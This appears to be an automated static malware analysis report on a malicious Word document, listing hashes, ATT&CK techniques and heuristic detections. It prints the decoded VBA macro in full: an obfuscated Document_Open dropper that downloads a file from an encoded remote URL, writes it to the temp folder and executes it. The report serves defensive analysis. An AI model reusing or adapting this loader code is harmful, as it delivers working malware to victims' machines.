Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 617c3f20866371b7…

MALICIOUS

Office (OLE)

164.5 KB Created: 2016-06-27 23:39:00 Authoring application: Microsoft Office Word First seen: 2017-06-12
MD5: 5e2eb357a9eede44f5dcd06a5b17d818 SHA-1: 312831856d639431dc6435969febccbb73da992b SHA-256: 617c3f20866371b7b50cbe489db9bb3e218de7b7cc5c0d0ed7a1151d3e00c50b
318 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains obfuscated VBA macros with an auto-execute function (Document_Open) that is designed to download and execute a file from a remote source. The macro uses a custom decoder to obfuscate its strings, and the critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' confirms the download and execution behavior. The presence of 'CreateObject' and 'Shell' execution tokens further supports this malicious intent.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-6307215-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6307215-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    FGCOVSKBDMBDKIZHTTHLRGPFRZNZGDMEPHMPNSCJM = YRNRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFR.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set YRNRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFR = CreateObject(XUECNYLHFLTBLFKVTIJYJMQKBFFEHSVZOVUD)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set YRNRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFR = CreateObject(XUECNYLHFLTBLFKVTIJYJMQKBFFEHSVZOVUD)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    TRMWRNTYQQKDQCIPGOHJWQPMVTFQDGEJLSDEINLZHQB = Environ("tmp") + EHSVZOVUDFGCOVSKBDMBDKIZHTTHLRGPFRZ.Item(NRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFRXUECNYL)
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://ns.adobe.com/tiff/1.0/Referenced by macro
    • http://ns.adobe.com/exif/1.0/Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4189 bytes
SHA-256: d1b3c8141e9346f3b73c86f4afe6c862b981ffec6666aa7f8ddd6488c086d066
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
    Public Function BEIQDDLGHDPETSJEOJFLQIICCPTZOXNZIOI(HENMWPUXVBKKUVBMDRYPSCGBQOO As String)
        KIDSWWWYRNRGNMUWXTGNKCTUFSUCHRYSLYKJX = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåض§Ú¥"
        OWPRFRXUECNYLHFLTBLFKVTIJYJMQKBF = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
        For i = 1 To Len(HENMWPUXVBKKUVBMDRYPSCGBQOO)
            FEHSVZOVUDFGCOVSKBDMB = InStr(KIDSWWWYRNRGNMUWXTGNKCTUFSUCHRYSLYKJX, Mid(HENMWPUXVBKKUVBMDRYPSCGBQOO, i, 1))
            If FEHSVZOVUDFGCOVSKBDMB > 0 Then
                DKIZHTTHLRGPFRZNZGDMEPHMPNSCJMNSECQRHKUXSJGHGI = Mid(OWPRFRXUECNYLHFLTBLFKVTIJYJMQKBF, FEHSVZOVUDFGCOVSKBDMB, 1)
                BEIQDDLGHDPETSJEOJFLQIICCPTZOXNZIOIHENMWPUXVB = BEIQDDLGHDPETSJEOJFLQIICCPTZOXNZIOIHENMWPUXVB + DKIZHTTHLRGPFRZNZGDMEPHMPNSCJMNSECQRHKUXSJGHGI
            Else
                BEIQDDLGHDPETSJEOJFLQIICCPTZOXNZIOIHENMWPUXVB = BEIQDDLGHDPETSJEOJFLQIICCPTZOXNZIOIHENMWPUXVB + Mid(HENMWPUXVBKKUVBMDRYPSCGBQOO, i, 1)
            End If
        Next
        BEIQDDLGHDPETSJEOJFLQIICCPTZOXNZIOI = BEIQDDLGHDPETSJEOJFLQIICCPTZOXNZIOIHENMWPUXVB
    End Function
Private Sub Document_Open()
NSECQRHKUXSJGHGIBEIQDDLGHDPETSJE = Chr(115) + Chr(121) + Chr(115) + Chr(116) + Chr(101) + Chr(109) + Chr(46) + Chr(99) + Chr(111) + Chr(108) + Chr(108) + Chr(101) + Chr(99) + Chr(116) + Chr(105) + Chr(111) + Chr(110) + Chr(115) + Chr(46) + Chr(97) + Chr(114) + Chr(114) + Chr(97) + Chr(121) + Chr(108) + Chr(105) + Chr(115) + Chr(116)
XUECNYLHFLTBLFKVTIJYJMQKBFFEHSVZOVUD = Chr(77) + Chr(73) + Chr(67) + Chr(82) + Chr(79) + Chr(83) + Chr(79) + Chr(70) + Chr(84) + Chr(46) + Chr(88) + Chr(77) + Chr(76) + Chr(72) + Chr(84) + Chr(84) + Chr(80)
NRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFRXUECNYL = Chr(48)
Set YRNRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFR = CreateObject(XUECNYLHFLTBLFKVTIJYJMQKBFFEHSVZOVUD)
Set HFLTBLFKVTIJYJMQKBFF = CreateObject(NSECQRHKUXSJGHGIBEIQDDLGHDPETSJE)
Set EHSVZOVUDFGCOVSKBDMBDKIZHTTHLRGPFRZ = CreateObject(NSECQRHKUXSJGHGIBEIQDDLGHDPETSJE)

HFLTBLFKVTIJYJMQKBFF.Add BEIQDDLGHDPETSJEOJFLQIICCPTZOXNZIOI("hÖÖÓ://âÄÔÂÁÖåÄÅk.Áz/dÒwÅlÒÀd/Á7ÃÃÂÂb8Á³.jÀÔ")

EHSVZOVUDFGCOVSKBDMBDKIZHTTHLRGPFRZ.Add BEIQDDLGHDPETSJEOJFLQIICCPTZOXNZIOI("\Hâ¶ãT§.jÀÔ")

Set IHENMWPUXVBKKUVBMDRYPSCGBQOOOQJFJYLEMOPLXMC = CreateObject(Chr(87) + Chr(83) + Chr(67) + Chr(82) + Chr(73) + Chr(80) + Chr(84) + Chr(46) + Chr(83) + Chr(72) + Chr(69) + Chr(76) + Chr(76))
For Each FGCOVSKBDMBDKIZHTTHLRGPFRZNZGDMEPHMPNSCJM In HFLTBLFKVTIJYJMQKBFF
TRMWRNTYQQKDQCIPGOHJWQPMVTFQDGEJLSDEINLZHQB = Environ("tmp") + EHSVZOVUDFGCOVSKBDMBDKIZHTTHLRGPFRZ.Item(NRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFRXUECNYL)
YRNRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFR.Open Chr(103) + Chr(101) + Chr(116), FGCOVSKBDMBDKIZHTTHLRGPFRZNZGDMEPHMPNSCJM, False
YRNRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFR.send
FGCOVSKBDMBDKIZHTTHLRGPFRZNZGDMEPHMPNSCJM = YRNRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFR.responseBody
If YRNRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFR.Status = 200 Then
Set OJFLQIICCPTZOXNZIOIHENMW = CreateObject(Chr(65) + Chr(68) + Chr(79) + Chr(68) + Chr(66) + Chr(46) + Chr(83) + Chr(116) + Chr(114) + Chr(101) + Chr(97) + Chr(109))
OJFLQIICCPTZOXNZIOIHENMW.Open
OJFLQIICCPTZOXNZIOIHENMW.Type = Chr(49)
OJFLQIICCPTZOXNZIOIHENMW.Write YRNRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFR.responseBody
OJFLQIICCPTZOXNZIOIHENMW.SaveToFile TRMWRNTYQQKDQCIPGOHJWQPMVTFQDGEJLSDEINLZHQB, Chr(50)
OJFLQIICCPTZOXNZIOIHENMW.Close
End If
IHENMWPUXVBKKUVBMDRYPSCGBQOOOQJFJYLEMOPLXMC.Run TRMWRNTYQQKDQCIPGOHJWQPMVTFQDGEJLSDEINLZHQB
NRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFRXUECNYL = NRGNMUWXTGNKCTUFSUCHRYSLYKJXOWPRFRXUECNYL + Chr(49)
Next


End Sub

Attribute VB_Name = "NewMacros"
Sub sg()
'
' sg Macro
'
'

End Sub

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